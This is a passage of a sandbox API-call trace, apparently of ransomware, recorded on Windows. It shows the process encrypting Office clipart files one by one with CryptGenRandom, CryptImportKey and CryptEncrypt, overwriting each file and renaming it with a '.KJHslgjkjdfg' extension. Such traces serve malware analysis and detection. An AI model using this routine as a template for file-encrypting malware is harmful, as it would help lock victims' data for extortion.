lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0232.043] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0232.043] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0232.043] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0232.043] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.043] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.043] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.043] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x278a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x278a, lpOverlapped=0x0) returned 1 [0232.044] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2790, dwBufLen=0x2790 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2790) returned 1 [0232.044] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.045] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2790, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2790, lpOverlapped=0x0) returned 1 [0232.045] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.045] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.045] SetEndOfFile (hFile=0x130) returned 1 [0232.048] GetProcessHeap () returned 0x2ef0000 [0232.048] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0232.048] GetProcessHeap () returned 0x2ef0000 [0232.048] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0232.048] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid.kjhslgjkjdfg")) returned 1 [0232.050] CloseHandle (hObject=0x130) returned 1 [0232.050] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5a9342d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x13c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SCHOL_02.MID", cAlternateFileName="")) returned 1 [0232.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0232.054] GetProcessHeap () returned 0x2ef0000 [0232.054] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0232.054] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0232.054] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0232.054] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0232.056] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.056] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.056] GetProcessHeap () returned 0x2ef0000 [0232.056] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0232.056] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0232.057] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.057] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0232.057] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0232.057] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0232.057] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0232.057] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0232.057] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0232.057] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.057] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.057] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.057] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x13c2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x13c2, lpOverlapped=0x0) returned 1 [0232.059] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x13d0, dwBufLen=0x13d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x13d0) returned 1 [0232.059] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.059] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x13d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x13d0, lpOverlapped=0x0) returned 1 [0232.059] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.059] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x14a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.059] SetEndOfFile (hFile=0x130) returned 1 [0232.062] GetProcessHeap () returned 0x2ef0000 [0232.062] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0232.062] GetProcessHeap () returned 0x2ef0000 [0232.062] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0232.062] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid.kjhslgjkjdfg")) returned 1 [0232.064] CloseHandle (hObject=0x130) returned 1 [0232.064] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x18f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SHOW_01.MID", cAlternateFileName="")) returned 1 [0232.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0232.065] GetProcessHeap () returned 0x2ef0000 [0232.065] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0232.065] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0232.065] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0232.065] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0232.068] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.068] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.068] GetProcessHeap () returned 0x2ef0000 [0232.068] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0232.068] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0232.068] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.068] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0232.068] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0232.068] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0232.068] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0232.068] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0232.069] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0232.069] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.069] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.069] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.069] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x18f8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x18f8, lpOverlapped=0x0) returned 1 [0232.070] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1900, dwBufLen=0x1900 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1900) returned 1 [0232.070] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.070] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1900, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1900, lpOverlapped=0x0) returned 1 [0232.070] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.070] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x19d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.070] SetEndOfFile (hFile=0x130) returned 1 [0232.073] GetProcessHeap () returned 0x2ef0000 [0232.073] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0232.073] GetProcessHeap () returned 0x2ef0000 [0232.073] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0232.073] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid.kjhslgjkjdfg")) returned 1 [0232.075] CloseHandle (hObject=0x130) returned 1 [0232.075] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7d79200, ftCreationTime.dwHighDateTime=0x1bd4ae9, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa7d79200, ftLastWriteTime.dwHighDateTime=0x1bd4ae9, nFileSizeHigh=0x0, nFileSizeLow=0x2a0a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SL00256_.WMF", cAlternateFileName="")) returned 1 [0232.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00256_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0232.077] GetProcessHeap () returned 0x2ef0000 [0232.077] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0232.077] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0232.077] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0232.077] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0232.080] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.080] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.080] GetProcessHeap () returned 0x2ef0000 [0232.080] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0232.080] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0232.080] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.080] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0232.081] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0232.081] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0232.081] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0232.081] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0232.081] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0232.081] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.081] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.081] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.081] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2a0a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2a0a, lpOverlapped=0x0) returned 1 [0232.082] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2a10, dwBufLen=0x2a10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2a10) returned 1 [0232.083] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.083] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2a10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2a10, lpOverlapped=0x0) returned 1 [0232.083] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.083] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2ae4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.083] SetEndOfFile (hFile=0x130) returned 1 [0232.086] GetProcessHeap () returned 0x2ef0000 [0232.086] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0232.086] GetProcessHeap () returned 0x2ef0000 [0232.086] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0232.086] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00256_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00256_.wmf.kjhslgjkjdfg")) returned 1 [0232.088] CloseHandle (hObject=0x130) returned 1 [0232.088] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4440b00, ftCreationTime.dwHighDateTime=0x1bd4ae9, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4440b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae9, nFileSizeHigh=0x0, nFileSizeLow=0x7ca4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SL00260_.WMF", cAlternateFileName="")) returned 1 [0232.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00260_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0232.089] GetProcessHeap () returned 0x2ef0000 [0232.089] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0232.089] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0232.089] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0232.090] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0232.092] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.092] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.092] GetProcessHeap () returned 0x2ef0000 [0232.092] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0232.092] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0232.092] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.092] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0232.092] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0232.092] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0232.092] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0232.093] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0232.093] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0232.093] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.093] 